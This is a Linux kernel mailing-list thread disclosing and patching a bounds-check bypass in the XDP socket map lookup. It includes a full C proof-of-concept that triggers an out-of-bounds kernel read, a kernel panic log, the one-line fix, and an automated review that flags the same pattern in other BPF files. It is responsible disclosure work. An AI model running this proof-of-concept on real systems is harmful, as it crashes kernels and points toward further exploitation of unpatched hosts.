BPF List
 help / color / mirror / Atom feed
* [PATCH bpf 0/1] xsk: use a 32-bit compare in xsk_map_gen_lookup
@ 2026-09-10 16:18 Zhiling Zou
  2026-09-10 16:18 ` [PATCH bpf 1/1] " Zhiling Zou
  0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-09-10 16:18 UTC (permalink / raw)
  To: netdev, bpf
  Cc: magnus.karlsson, maciej.fijalkowski, sdf, davem, edumazet, pabeni,
	horms, ast, daniel, hawk, john.fastabend, jonathan.lemon, vega,
	zhilinz

Hi Linux kernel maintainers,

We found and validated an issue in net/xdp/xskmap.c. The bug is
reachable by a root user.

We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug in this email, along
with a PoC to trigger it.

---- details below ----

Bug details:

xsk_map_gen_lookup() loads a 32-bit map key and compares it against
max_entries with BPF_JMP_IMM. BPF immediates are sign-extended to 64
bits. When max_entries is 0x80000000 or higher, that threshold becomes
larger than every zero-extended u32 key, so an out-of-range index still
passes the check. The generated lookup then scales the key and reads a
pointer past the end of xsk_map[].

The fix uses BPF_JMP32_IMM so the bounds check stays a 32-bit unsigned
compare.

Reproducer:

    gcc -O2 -Wall -Wextra -o poc poc.c
    ./poc

The PoC allocates an XSKMAP with max_entries=0x80000000, so the guest
needs enough RAM for the backing array (about 16 GiB).

We run the PoC in a 2 vCPU, 32 GB RAM x86 QEMU environment.

------BEGIN poc.c------

    #define _GNU_SOURCE
    
    #include <errno.h>
    #include <linux/bpf.h>
    #include <linux/unistd.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/resource.h>
    #include <sys/syscall.h>
    #include <unistd.h>
    
    #ifndef BPF_PSEUDO_MAP_FD
    #define BPF_PSEUDO_MAP_FD 1
    #endif
    
    #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
    
    #define LOG_BUF_SIZE (1U << 20)
    #define XSKMAP_MAX_ENTRIES 0x80000000u
    #define TRIGGER_KEY (XSKMAP_MAX_ENTRIES + 512u)
    
    #define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM)                          \
    	((struct bpf_insn) {                                            \
    		.code = CODE,                                            \
    		.dst_reg = DST,                                          \
    		.src_reg = SRC,                                          \
    		.off = OFF,                                              \
    		.imm = IMM,                                              \
    	})
    
    #define BPF_MOV64_IMM(DST, IMM)                                          \
    	BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_K, DST, 0, 0, IMM)
    
    #define BPF_MOV64_REG(DST, SRC)                                          \
    	BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_X, DST, SRC, 0, 0)
    
    #define BPF_ALU64_IMM(OP, DST, IMM)                                      \
    	BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_K, DST, 0, 0, IMM)
    
    #define BPF_STX_MEM(SIZE, DST, SRC, OFF)                                 \
    	BPF_RAW_INSN(BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, DST, SRC, OFF, 0)
    
    #define BPF_EXIT_INSN()                                                  \
    	BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0)
    
    #define BPF_EMIT_CALL(FUNC)                                              \
    	BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, FUNC)
    
    #define BPF_LD_IMM64_RAW(DST, SRC, IMM)                                  \
    	BPF_RAW_INSN(BPF_LD | BPF_DW | BPF_IMM, DST, SRC, 0, (__u32)(IMM)), \
    	BPF_RAW_INSN(0, 0, 0, 0, ((__u64)(IMM)) >> 32)
    
    #define BPF_LD_MAP_FD(DST, MAP_FD)                                       \
    	BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
    
    static int sys_bpf(enum bpf_cmd cmd, union bpf_attr *attr)
    {
    	return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
    }
    
    static void raise_memlock_limit(void)
    {
    	struct rlimit lim = {
    		.rlim_cur = RLIM_INFINITY,
    		.rlim_max = RLIM_INFINITY,
    	};
    
    	if (setrlimit(RLIMIT_MEMLOCK, &lim) && errno != EPERM)
    		perror("setrlimit(RLIMIT_MEMLOCK)");
    }
    
    static int create_xskmap(void)
    {
    	union bpf_attr attr = {
    		.map_type = BPF_MAP_TYPE_XSKMAP,
    		.key_size = sizeof(uint32_t),
    		.value_size = sizeof(uint32_t),
    		.max_entries = XSKMAP_MAX_ENTRIES,
    	};
    
    	return sys_bpf(BPF_MAP_CREATE, &attr);
    }
    
    static int load_prog(int map_fd, char *log_buf, size_t log_buf_sz)
    {
    	static const char license[] = "GPL";
    	struct bpf_insn prog[] = {
    		BPF_MOV64_IMM(BPF_REG_6, (__s32)TRIGGER_KEY),
    		BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_6, -4),
    		BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
    		BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
    		BPF_LD_MAP_FD(BPF_REG_1, map_fd),
    		BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
    		BPF_MOV64_IMM(BPF_REG_0, XDP_DROP),
    		BPF_EXIT_INSN(),
    	};
    	union bpf_attr attr = {
    		.prog_type = BPF_PROG_TYPE_XDP,
    		.insn_cnt = (__u32)ARRAY_SIZE(prog),
    		.insns = (__u64)(uintptr_t)prog,
    		.license = (__u64)(uintptr_t)license,
    		.log_buf = (__u64)(uintptr_t)log_buf,
    		.log_size = (__u32)log_buf_sz,
    		.log_level = 2,
    	};
    
    	memset(log_buf, 0, log_buf_sz);
    	return sys_bpf(BPF_PROG_LOAD, &attr);
    }
    
    static int run_prog(int prog_fd)
    {
    	uint8_t pkt[64] = {0};
    	union bpf_attr attr = {
    		.test = {
    			.prog_fd = prog_fd,
    			.data_in = (__u64)(uintptr_t)pkt,
    			.data_size_in = sizeof(pkt),
    			.repeat = 1,
    		},
    	};
    
    	return sys_bpf(BPF_PROG_TEST_RUN, &attr);
    }
    
    int main(void)
    {
    	static char log_buf[LOG_BUF_SIZE];
    	unsigned long long map_bytes =
    		(unsigned long long)XSKMAP_MAX_ENTRIES * sizeof(uint64_t);
    	int prog_fd;
    	int map_fd;
    	int ret;
    
    	printf("creating XSKMAP with max_entries=0x%08x (~%llu GiB backing array)\n",
    	       XSKMAP_MAX_ENTRIES, map_bytes >> 30);
    	printf("trigger key=0x%08x\n", TRIGGER_KEY);
    
    	raise_memlock_limit();
    
    	map_fd = create_xskmap();
    	if (map_fd < 0) {
    		fprintf(stderr, "BPF_MAP_CREATE failed: %s\n", strerror(errno));
    		return 1;
    	}
    
    	printf("map_fd=%d\n", map_fd);
    
    	prog_fd = load_prog(map_fd, log_buf, sizeof(log_buf));
    	if (prog_fd < 0) {
    		fprintf(stderr, "BPF_PROG_LOAD failed: %s\n", strerror(errno));
    		if (log_buf[0] != '\0')
    			fprintf(stderr, "verifier log:\n%s\n", log_buf);
    		close(map_fd);
    		return 1;
    	}
    
    	printf("prog_fd=%d\n", prog_fd);
    	printf("running BPF_PROG_TEST_RUN; a successful trigger should oops/panic the kernel\n");
    	fflush(stdout);
    
    	ret = run_prog(prog_fd);
    	if (ret < 0) {
    		fprintf(stderr, "BPF_PROG_TEST_RUN returned: %s\n", strerror(errno));
    		close(prog_fd);
    		close(map_fd);
    		return 1;
    	}
    
    	printf("BPF_PROG_TEST_RUN unexpectedly completed without a crash\n");
    	close(prog_fd);
    	close(map_fd);
    	return 0;
    }
------END poc.c--------

----BEGIN crash log----

[  942.704399][  T993] BUG: unable to handle page fault for address: ffffc904033ca238
[  942.706192][  T993] #PF: supervisor read access in kernel mode
[  942.707018][  T993] #PF: error_code(0x0000) - not-present page
[  942.707828][  T993] PGD 100000067 P4D 100000067 PUD 12ec36067 PMD 15d148067 PTE 0
[  942.709159][  T993] Oops: Oops: 0000 [#1] SMP KASAN NOPTI
[  942.710171][  T993] CPU: 1 UID: 0 PID: 993 Comm: poc Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[  942.711972][  T993] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  942.714054][  T993] RIP: 0010:bpf_prog_1e67334305173a00+0x51/0x65
[  942.715178][  T993] Code: 89 ee 48 83 c6 fc 48 bf 00 90 3c 03 00 c9 ff ff 8b 46 00 48 81 f8 00 00 00 80 73 14 48 c1 e0 03 48 81 c7 38 02 00 00 48 01 f8 <48> 8b 40 00 eb 02 31 c0 b8 01 00 00 00 5b c9 e9 d6 63 0f c6 cc cc
[  942.718505][  T993] RSP: 0018:ffffc90003327918 EFLAGS: 00010282
[  942.719534][  T993] RAX: ffffc904033ca238 RBX: ffffffff80000200 RCX: ffff88818d9f6638
[  942.720713][  T993] RDX: ffffffffc000dcd0 RSI: ffffc90003327924 RDI: ffffc900033c9238
[  942.722000][  T993] RBP: ffffc90003327928 R08: 0000000000000001 R09: fffffbfff13162d0
[  942.723085][  T993] R10: ffffffff898b1687 R11: 0000000000000001 R12: ffffc90003327a80
[  942.724473][  T993] R13: ffffc90003327c00 R14: ffffc900022ab000 R15: ffffed1031b3ecc7
[  942.725727][  T993] FS:  00007ebe6c6e1740(0000) GS:ffff8887dde00000(0000) knlGS:0000000000000000
[  942.727239][  T993] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  942.728374][  T993] CR2: ffffc904033ca238 CR3: 000000012ec4e002 CR4: 0000000000770ef0
[  942.729735][  T993] PKRU: 55555554
[  942.730344][  T993] Call Trace:
[  942.730949][  T993]  <TASK>
[  942.731465][  T993]  bpf_test_run+0x2e3/0x970
[  942.732388][  T993]  ? bpf_test_run+0x261/0x970
[  942.733225][  T993]  ? __pfx_bpf_test_run+0x10/0x10
[  942.734109][  T993]  ? srso_alias_return_thunk+0x5/0xfbef5
[  942.735102][  T993]  ? local_clock_noinstr+0x15/0xd0
[  942.736014][  T993]  ? srso_alias_return_thunk+0x5/0xfbef5
[  942.736885][  T993]  ? lock_release+0x687/0xc90
[  942.737760][  T993]  ? __pfx_lock_release+0x10/0x10
[  942.738769][  T993]  ? lock_acquire+0x153/0x2f0
[  942.739718][  T993]  ? __virt_addr_valid+0x12a/0x2c0
[  942.740704][  T993]  ? srso_alias_return_thunk+0x5/0xfbef5
[  942.741782][  T993]  ? _copy_from_user+0x42/0xa0
[  942.742779][  T993]  bpf_prog_test_run_xdp+0x7d0/0x1640
[  942.743820][  T993]  ? srso_alias_return_thunk+0x5/0xfbef5
[  942.744724][  T993]  ? pipe_write+0xf8e/0x1a40
[  942.745411][  T993]  ? __pfx_bpf_prog_test_run_xdp+0x10/0x10
[  942.746199][  T993]  ? srso_alias_return_thunk+0x5/0xfbef5
[  942.746956][  T993]  ? fdget+0x51/0x1d0
[  942.747516][  T993]  ? srso_alias_return_thunk+0x5/0xfbef5
[  942.748278][  T993]  __sys_bpf+0x7a8/0x3c50
[  942.748895][  T993]  ? srso_alias_return_thunk+0x5/0xfbef5
[  942.749659][  T993]  ? security_file_permission+0x7e/0xe0
[  942.750446][  T993]  ? __pfx___sys_bpf+0x10/0x10
[  942.751091][  T993]  ? srso_alias_return_thunk+0x5/0xfbef5
[  942.751854][  T993]  ? vfs_write+0x9d2/0xf90
[  942.752473][  T993]  ? reacquire_held_locks+0x204/0x4b0
[  942.753201][  T993]  ? do_user_addr_fault+0x45b/0xbc0
[  942.753918][  T993]  ? __pfx_vfs_write+0x10/0x10
[  942.754606][  T993]  ? srso_alias_return_thunk+0x5/0xfbef5
[  942.755371][  T993]  ? ksys_write+0x17c/0x1d0
[  942.755981][  T993]  ? __pfx_ksys_write+0x10/0x10
[  942.756652][  T993]  __x64_sys_bpf+0x78/0xc0
[  942.757256][  T993]  ? srso_alias_return_thunk+0x5/0xfbef5
[  942.758020][  T993]  ? trace_hardirqs_on+0x5b/0x110
[  942.758780][  T993]  do_syscall_64+0x6f/0x150
[  942.759412][  T993]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[  942.760252][  T993] RIP: 0033:0x7ebe6c7f27b9
[  942.761020][  T993] Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 27 66 0d 00 f7 d8 64 89 01 48
[  942.764184][  T993] RSP: 002b:00007ffeca1975a8 EFLAGS: 00000246 ORIG_RAX: 0000000000000141
[  942.765291][  T993] RAX: ffffffffffffffda RBX: 0000000000000004 RCX: 00007ebe6c7f27b9
[  942.766258][  T993] RDX: 0000000000000098 RSI: 00007ffeca197600 RDI: 000000000000000a
[  942.767315][  T993] RBP: 00007ffeca197600 R08: 0000000000000000 R09: 0000000000000000
[  942.768286][  T993] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
[  942.769253][  T993] R13: 0000000000000003 R14: 00005833505e80c0 R15: 00005833505e7dd8
[  942.770237][  T993]  </TASK>
[  942.770623][  T993] Modules linked in:
[  942.771151][  T993] CR2: ffffc904033ca238
[  942.771682][  T993] ---[ end trace 0000000000000000 ]---
[  942.772356][  T993] RIP: 0010:bpf_prog_1e67334305173a00+0x51/0x65
[  942.773129][  T993] Code: 89 ee 48 83 c6 fc 48 bf 00 90 3c 03 00 c9 ff ff 8b 46 00 48 81 f8 00 00 00 80 73 14 48 c1 e0 03 48 81 c7 38 02 00 00 48 01 f8 <48> 8b 40 00 eb 02 31 c0 b8 01 00 00 00 5b c9 e9 d6 63 0f c6 cc cc
[  942.775176][  T993] RSP: 0018:ffffc90003327918 EFLAGS: 00010282
[  942.775889][  T993] RAX: ffffc904033ca238 RBX: ffffffff80000200 RCX: ffff88818d9f6638
[  942.776785][  T993] RDX: ffffffffc000dcd0 RSI: ffffc90003327924 RDI: ffffc900033c9238
[  942.777694][  T993] RBP: ffffc90003327928 R08: 0000000000000001 R09: fffffbfff13162d0
[  942.778655][  T993] R10: ffffffff898b1687 R11: 0000000000000001 R12: ffffc90003327a80
[  942.779544][  T993] R13: ffffc90003327c00 R14: ffffc900022ab000 R15: ffffed1031b3ecc7
[  942.780520][  T993] FS:  00007ebe6c6e1740(0000) GS:ffff8887dde00000(0000) knlGS:0000000000000000
[  942.781552][  T993] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  942.782325][  T993] CR2: ffffc904033ca238 CR3: 000000012ec4e002 CR4: 0000000000770ef0
[  942.783299][  T993] PKRU: 55555554
[  942.783738][  T993] Kernel panic - not syncing: Fatal exception in interrupt
[  942.784962][  T993] Kernel Offset: disabled
[  942.785472][  T993] Rebooting in 10 seconds..

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  xsk: use a 32-bit compare in xsk_map_gen_lookup

 net/xdp/xskmap.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

-- 
2.43.0

^ permalink raw reply	[flat|nested] 3+ messages in thread

* [PATCH bpf 1/1] xsk: use a 32-bit compare in xsk_map_gen_lookup
  2026-09-10 16:18 [PATCH bpf 0/1] xsk: use a 32-bit compare in xsk_map_gen_lookup Zhiling Zou
@ 2026-09-10 16:18 ` Zhiling Zou
  2026-09-10 16:34   ` sashiko-bot
  0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-09-10 16:18 UTC (permalink / raw)
  To: netdev, bpf
  Cc: magnus.karlsson, maciej.fijalkowski, sdf, davem, edumazet, pabeni,
	horms, ast, daniel, hawk, john.fastabend, jonathan.lemon, vega,
	zhilinz

xsk_map_gen_lookup() loads a u32 key and compares it with max_entries
using BPF_JMP_IMM. BPF immediates are sign-extended to 64 bits, so a
max_entries value of 0x80000000 or higher becomes a threshold larger
than every zero-extended 32-bit key. An out-of-range index then skips
the bounds check and the generated lookup reads past xsk_map[].

Compare with BPF_JMP32_IMM so the check stays in 32-bit unsigned range.

Fixes: e65650f291ee ("bpf: Implement map_gen_lookup() callback for XSKMAP")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
 net/xdp/xskmap.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/xdp/xskmap.c b/net/xdp/xskmap.c
index 3bff346308d0f..bf00d6463c191 100644
--- a/net/xdp/xskmap.c
+++ b/net/xdp/xskmap.c
@@ -124,7 +124,7 @@ static int xsk_map_gen_lookup(struct bpf_map *map, struct bpf_insn *insn_buf)
 	struct bpf_insn *insn = insn_buf;
 
 	*insn++ = BPF_LDX_MEM(BPF_W, ret, index, 0);
-	*insn++ = BPF_JMP_IMM(BPF_JGE, ret, map->max_entries, 5);
+	*insn++ = BPF_JMP32_IMM(BPF_JGE, ret, map->max_entries, 5);
 	*insn++ = BPF_ALU64_IMM(BPF_LSH, ret, ilog2(sizeof(struct xsk_sock *)));
 	*insn++ = BPF_ALU64_IMM(BPF_ADD, mp, offsetof(struct xsk_map, xsk_map));
 	*insn++ = BPF_ALU64_REG(BPF_ADD, ret, mp);
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 3+ messages in thread

* Re: [PATCH bpf 1/1] xsk: use a 32-bit compare in xsk_map_gen_lookup
  2026-09-10 16:18 ` [PATCH bpf 1/1] " Zhiling Zou
@ 2026-09-10 16:34   ` sashiko-bot
  0 siblings, 0 replies; 3+ messages in thread
From: sashiko-bot @ 2026-09-10 16:34 UTC (permalink / raw)
  To: Zhiling Zou; +Cc: bpf

Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider:

Pre-existing issues:
- [High] The patch addresses a 64-bit sign-extension bounds check bypass in `xsk_map_gen_lookup` by replacing `BPF_JMP_IMM` with `BPF_JMP32_IMM`, but fails to apply the exact same necessary fix to identical vulnerable patterns in `kernel/bpf/arraymap.c` and `kernel/bpf/fixups.c`. `BPF_JMP_IMM` sign-extends its 32-bit immediate argument to 64 bits before performing the comparison. A `max_entries` value >= `0x80000000` becomes a large negative number in a 64-bit context, meaning the unsigned `BPF_JGE` check against a zero-extended 32-bit index will never jump, skipping the bounds check entirely.
--

commit c7773394d23ffdacd886a0d61cfe827025fc2bfb
Author: Zhiling Zou <zhilinz@nebusec.ai>

xsk: use a 32-bit compare in xsk_map_gen_lookup

This commit fixes a bounds check bypass in xsk_map_gen_lookup() by
switching to a 32-bit compare for the max_entries check. BPF immediates
are sign-extended to 64 bits, which previously caused large max_entries
values to become large negative numbers in a 64-bit context, bypassing
the bounds check.

Cc: stable@vger.kernel.org

> diff --git a/net/xdp/xskmap.c b/net/xdp/xskmap.c
> index 3bff346308d0f..bf00d6463c191 100644
> --- a/net/xdp/xskmap.c
> +++ b/net/xdp/xskmap.c
> @@ -124,7 +124,7 @@ static int xsk_map_gen_lookup(struct bpf_map *map, struct bpf_insn *insn_buf)
>  	struct bpf_insn *insn = insn_buf;
>  
>  	*insn++ = BPF_LDX_MEM(BPF_W, ret, index, 0);
> -	*insn++ = BPF_JMP_IMM(BPF_JGE, ret, map->max_entries, 5);
> +	*insn++ = BPF_JMP32_IMM(BPF_JGE, ret, map->max_entries, 5);

[Severity: High]
This is a pre-existing issue, but while you are fixing this sign-extension
bounds check bypass here, should the exact same fix be applied to identical
vulnerable patterns in kernel/bpf/arraymap.c and kernel/bpf/fixups.c?

For example, in kernel/bpf/arraymap.c:array_map_gen_lookup():

	*insn++ = BPF_JMP_IMM(BPF_JGE, ret, map->max_entries, 4);
	*insn++ = BPF_ALU32_IMM(BPF_AND, ret, array->index_mask);
} else {
	*insn++ = BPF_JMP_IMM(BPF_JGE, ret, map->max_entries, 3);
}

The same pattern exists in kernel/bpf/arraymap.c:percpu_array_map_gen_lookup():

	*insn++ = BPF_JMP_IMM(BPF_JGE, BPF_REG_0, map->max_entries, 6);
	*insn++ = BPF_ALU32_IMM(BPF_AND, BPF_REG_0, array->index_mask);
} else {
	*insn++ = BPF_JMP_IMM(BPF_JGE, BPF_REG_0, map->max_entries, 5);
}

And also in kernel/bpf/arraymap.c:array_of_map_gen_lookup() as well as
kernel/bpf/fixups.c:fixup_bpf_calls() for tail calls.

Since BPF_JMP_IMM sign-extends its 32-bit immediate argument to 64 bits,
a max_entries value >= 0x80000000 becomes a large negative number in a
64-bit context. 

This means the unsigned BPF_JGE check against a zero-extended 32-bit index 
will never jump, skipping the bounds check entirely. For array maps with 
bypass_spec_v1 == true, does this completely bypass memory bounds checks?

Similarly, for tail calls in fixup_bpf_calls(), does this bypass the
architectural bounds check and defeat the speculative execution mitigation
since the bound check branch is never taken for out-of-bound indices?

>  	*insn++ = BPF_ALU64_IMM(BPF_LSH, ret, ilog2(sizeof(struct xsk_sock *)));
>  	*insn++ = BPF_ALU64_IMM(BPF_ADD, mp, offsetof(struct xsk_map, xsk_map));
>  	*insn++ = BPF_ALU64_REG(BPF_ADD, ret, mp);

-- 
Sashiko AI review · https://sashiko.dev/#/patchset/7d2cb8e8dfaa9eb8fdff85156987a60960787dc3.1789056660.git.zhilinz@nebusec.ai?part=1

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-09-10 16:34 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-10 16:18 [PATCH bpf 0/1] xsk: use a 32-bit compare in xsk_map_gen_lookup Zhiling Zou
2026-09-10 16:18 ` [PATCH bpf 1/1] " Zhiling Zou
2026-09-10 16:34   ` sashiko-bot

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox